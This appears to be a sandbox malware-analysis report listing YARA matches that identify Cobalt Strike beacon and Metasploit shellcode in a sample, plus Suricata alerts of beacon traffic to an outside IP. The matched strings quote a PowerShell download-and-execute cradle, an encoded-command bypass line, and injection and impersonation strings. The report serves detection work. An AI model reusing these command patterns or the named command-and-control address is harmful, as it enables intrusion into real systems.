0.2.12.exe.db0000.2.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x32f36:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32f80:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x32d59:$x3: %d is an x86 process (can't inject x64 content) 0x32716:$s1: Could not open process token: %d (%u) 0x32430:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x327d4:$s4: Could not connect to pipe (%s): %d
0.2.12.exe.db0000.2.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x34c0e:$loader_export: ReflectiveLoader 0x34c02:$exportname: beacon.dll
0.2.12.exe.db0000.2.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x32d29:$x2: %d is an x64 process (can't inject x86 content) 0x33071:$x3: Failed to impersonate logged on user %d (%u) 0x32f80:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x32f36:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3269c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x32c90:$s4: could not write to process memory: %d 0x32430:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x327d4:$s6: Could not connect to pipe (%s): %d
0.2.12.exe.db0000.2.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x3340c:$str1: %s (admin) 0x34c02:$str2: beacon.dll
0.2.12.exe.db0000.2.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x32f80:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x32d59:$x2: %d is an x86 process (can't inject x64 content) 0x32f36:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3301a:$x4: Failed to impersonate token from %d (%u) 0x33071:$x5: Failed to impersonate logged on user %d (%u) 0x32430:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.12.exe.db0000.2.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x34c0d:$s1: _ReflectiveLoader@ 0x34c0e:$s2: ReflectiveLoader@
0.2.12.exe.db0000.2.raw.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x32f0e:$s1: %%IMPORT%% 0x32414:$s2: www6.%x%x.%s 0x32408:$s3: cdn.%x%x.%s 0x32690:$s4: api.%x%x.%s 0x3340c:$s5: %s (admin) 0x326ff:$s6: could not spawn %s: %d 0x32fb2:$s7: Could not kill %d: %d 0x327d4:$s8: Could not connect to pipe (%s): %d 0x32421:$s9: %s.1%x.%x%x.%s 0x32430:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x324a8:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3250b:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32551:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3258f:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x325c5:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x325ee:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32613:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x32634:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x32651:$s9: %s.1%08x%08x%08x.%x%x.%s 0x3266a:$s9: %s.1%08x%08x.%x%x.%s 0x3267f:$s9: %s.1%08x.%x%x.%s
0.2.12.exe.db0000.2.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.2.12.exe.db0000.2.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.12.exe.db0000.2.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.12.exe.db0000.2.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30a30:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30aa8:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120d:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31536:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x314c8:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31536:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x30b0b:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30c9c:$a7: could not run command (w/ token) because of its length of %d bytes! 0x30b51:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b8f:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31580:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x30df7:$a11: Could not open service control manager on %s: %d 0x31329:$a12: %d is an x64 process (can't inject x86 content) 0x31359:$a13: %d is an x86 process (can't inject x64 content) 0x31671:$a14: Failed to impersonate logged on user %d (%u) 0x312e2:$a15: could not create remote thread in %d: %d 0x30bc5:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31290:$a17: could not write to process memory: %d 0x30e28:$a18: Could not create service %s on %s: %d 0x30eb1:$a19: Could not delete service %s on %s: %d 0x30d16:$a20: Could not open process token: %d (%u)
0.2.12.exe.db0000.2.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x9d22:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0xa9f2:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
0.2.12.exe.db0000.2.unpack	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x3648f:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
0.2.12.exe.db0000.2.unpack	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x364fb:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
0.2.12.exe.db0000.2.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31536:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31580:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x31359:$x3: %d is an x86 process (can't inject x64 content) 0x30d16:$s1: Could not open process token: %d (%u) 0x30a30:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30dd4:$s4: Could not connect to pipe (%s): %d
0.2.12.exe.db0000.2.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3320e:$loader_export: ReflectiveLoader 0x33202:$exportname: beacon.dll
0.2.12.exe.db0000.2.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x31329:$x2: %d is an x64 process (can't inject x86 content) 0x31671:$x3: Failed to impersonate logged on user %d (%u) 0x31580:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31536:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x30c9c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31290:$s4: could not write to process memory: %d 0x30a30:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30dd4:$s6: Could not connect to pipe (%s): %d
0.2.12.exe.db0000.2.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31a0c:$str1: %s (admin) 0x33202:$str2: beacon.dll
0.2.12.exe.db0000.2.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31580:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31359:$x2: %d is an x86 process (can't inject x64 content) 0x31536:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3161a:$x4: Failed to impersonate token from %d (%u) 0x31671:$x5: Failed to impersonate logged on user %d (%u) 0x30a30:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.12.exe.db0000.2.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3320d:$s1: _ReflectiveLoader@ 0x3320e:$s2: ReflectiveLoader@
0.2.12.exe.db0000.2.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x3150e:$s1: %%IMPORT%% 0x30a14:$s2: www6.%x%x.%s 0x30a08:$s3: cdn.%x%x.%s 0x30c90:$s4: api.%x%x.%s 0x31a0c:$s5: %s (admin) 0x30cff:$s6: could not spawn %s: %d 0x315b2:$s7: Could not kill %d: %d 0x30dd4:$s8: Could not connect to pipe (%s): %d 0x30a21:$s9: %s.1%x.%x%x.%s 0x30a30:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30aa8:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b0b:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b51:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b8f:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x30bc5:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30bee:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30c13:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x30c34:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x30c51:$s9: %s.1%08x%08x%08x.%x%x.%s 0x30c6a:$s9: %s.1%08x%08x.%x%x.%s 0x30c7f:$s9: %s.1%08x.%x%x.%s
0.2.12.exe.d70000.1.raw.unpack	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
0.2.12.exe.d70000.1.raw.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.2.12.exe.d70000.1.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.12.exe.d70000.1.raw.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.12.exe.d70000.1.raw.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30a30:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30aa8:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120d:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31536:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x314c8:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31536:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x30b0b:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30c9c:$a7: could not run command (w/ token) because of its length of %d bytes! 0x30b51:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b8f:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31580:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x30df7:$a11: Could not open service control manager on %s: %d 0x31329:$a12: %d is an x64 process (can't inject x86 content) 0x31359:$a13: %d is an x86 process (can't inject x64 content) 0x31671:$a14: Failed to impersonate logged on user %d (%u) 0x312e2:$a15: could not create remote thread in %d: %d 0x30bc5:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31290:$a17: could not write to process memory: %d 0x30e28:$a18: Could not create service %s on %s: %d 0x30eb1:$a19: Could not delete service %s on %s: %d 0x30d16:$a20: Could not open process token: %d (%u)
0.2.12.exe.d70000.1.raw.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x9d22:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0xa9f2:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
0.2.12.exe.d70000.1.raw.unpack	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x3648f:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
0.2.12.exe.d70000.1.raw.unpack	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x364fb:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
0.2.12.exe.d70000.1.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31536:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31580:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x31359:$x3: %d is an x86 process (can't inject x64 content) 0x30d16:$s1: Could not open process token: %d (%u) 0x30a30:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30dd4:$s4: Could not connect to pipe (%s): %d
0.2.12.exe.d70000.1.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3320e:$loader_export: ReflectiveLoader 0x33202:$exportname: beacon.dll
0.2.12.exe.d70000.1.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x31329:$x2: %d is an x64 process (can't inject x86 content) 0x31671:$x3: Failed to impersonate logged on user %d (%u) 0x31580:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31536:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x30c9c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31290:$s4: could not write to process memory: %d 0x30a30:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30dd4:$s6: Could not connect to pipe (%s): %d
0.2.12.exe.d70000.1.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31a0c:$str1: %s (admin) 0x33202:$str2: beacon.dll
0.2.12.exe.d70000.1.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31580:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31359:$x2: %d is an x86 process (can't inject x64 content) 0x31536:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3161a:$x4: Failed to impersonate token from %d (%u) 0x31671:$x5: Failed to impersonate logged on user %d (%u) 0x30a30:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.12.exe.d70000.1.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3320d:$s1: _ReflectiveLoader@ 0x3320e:$s2: ReflectiveLoader@
0.2.12.exe.d70000.1.raw.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x3150e:$s1: %%IMPORT%% 0x30a14:$s2: www6.%x%x.%s 0x30a08:$s3: cdn.%x%x.%s 0x30c90:$s4: api.%x%x.%s 0x31a0c:$s5: %s (admin) 0x30cff:$s6: could not spawn %s: %d 0x315b2:$s7: Could not kill %d: %d 0x30dd4:$s8: Could not connect to pipe (%s): %d 0x30a21:$s9: %s.1%x.%x%x.%s 0x30a30:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30aa8:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b0b:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b51:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30b8f:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x30bc5:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30bee:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30c13:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x30c34:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x30c51:$s9: %s.1%08x%08x%08x.%x%x.%s 0x30c6a:$s9: %s.1%08x%08x.%x%x.%s 0x30c7f:$s9: %s.1%08x.%x%x.%s
0.2.12.exe.d70000.1.unpack	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
0.2.12.exe.d70000.1.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.2.12.exe.d70000.1.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.12.exe.d70000.1.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.12.exe.d70000.1.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2f030:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f0a8:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f80d:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x2fb36:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2fac8:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2fb36:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2f10b:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f29c:$a7: could not run command (w/ token) because of its length of %d bytes! 0x2f151:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f18f:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2fb80:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f3f7:$a11: Could not open service control manager on %s: %d 0x2f929:$a12: %d is an x64 process (can't inject x86 content) 0x2f959:$a13: %d is an x86 process (can't inject x64 content) 0x2fc71:$a14: Failed to impersonate logged on user %d (%u) 0x2f8e2:$a15: could not create remote thread in %d: %d 0x2f1c5:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f890:$a17: could not write to process memory: %d 0x2f428:$a18: Could not create service %s on %s: %d 0x2f4b1:$a19: Could not delete service %s on %s: %d 0x2f316:$a20: Could not open process token: %d (%u)
0.2.12.exe.d70000.1.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x9122:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0x9df2:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
0.2.12.exe.d70000.1.unpack	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x3488f:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
0.2.12.exe.d70000.1.unpack	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x348fb:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
0.2.12.exe.d70000.1.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2fb36:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2fb80:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f959:$x3: %d is an x86 process (can't inject x64 content) 0x2f316:$s1: Could not open process token: %d (%u) 0x2f030:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f3d4:$s4: Could not connect to pipe (%s): %d
0.2.12.exe.d70000.1.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3180e:$loader_export: ReflectiveLoader 0x31802:$exportname: beacon.dll
0.2.12.exe.d70000.1.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2f929:$x2: %d is an x64 process (can't inject x86 content) 0x2fc71:$x3: Failed to impersonate logged on user %d (%u) 0x2fb80:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2fb36:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2f29c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2f890:$s4: could not write to process memory: %d 0x2f030:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f3d4:$s6: Could not connect to pipe (%s): %d
0.2.12.exe.d70000.1.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x3000c:$str1: %s (admin) 0x31802:$str2: beacon.dll
0.2.12.exe.d70000.1.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2fb80:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f959:$x2: %d is an x86 process (can't inject x64 content) 0x2fb36:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2fc1a:$x4: Failed to impersonate token from %d (%u) 0x2fc71:$x5: Failed to impersonate logged on user %d (%u) 0x2f030:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.12.exe.d70000.1.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3180d:$s1: _ReflectiveLoader@ 0x3180e:$s2: ReflectiveLoader@
0.2.12.exe.d70000.1.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x2fb0e:$s1: %%IMPORT%% 0x2f014:$s2: www6.%x%x.%s 0x2f008:$s3: cdn.%x%x.%s 0x2f290:$s4: api.%x%x.%s 0x3000c:$s5: %s (admin) 0x2f2ff:$s6: could not spawn %s: %d 0x2fbb2:$s7: Could not kill %d: %d 0x2f3d4:$s8: Could not connect to pipe (%s): %d 0x2f021:$s9: %s.1%x.%x%x.%s 0x2f030:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f0a8:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f10b:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f151:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f18f:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2f1c5:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f1ee:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f213:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x2f234:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x2f251:$s9: %s.1%08x%08x%08x.%x%x.%s 0x2f26a:$s9: %s.1%08x%08x.%x%x.%s 0x2f27f:$s9: %s.1%08x.%x%x.%s
Click to see the 53 entries

Suricata Signatures

ET MALWARE Cobalt Strike Beacon Observed

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T19:28:01.174082+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49730	152.42.226.16	59060	TCP
2024-12-26T19:28:04.065607+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49731	152.42.226.16	59060	TCP
2024-12-26T19:28:07.008994+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49732	152.42.226.16	59060	TCP
2024-12-26T19:28:09.938290+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49733	152.42.226.16	59060	TCP
2024-12-26T19:28:13.024487+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49734	152.42.226.16	59060	TCP
2024-12-26T19:28:15.921977+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49735	152.42.226.16	59060	TCP
2024-12-26T19:28:18.852713+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49737	152.42.226.16	59060	TCP
2024-12-26T19:28:21.863365+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49741	152.42.226.16	59060	TCP
2024-12-26T19:28:24.767420+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49743	152.42.226.16	59060	TCP
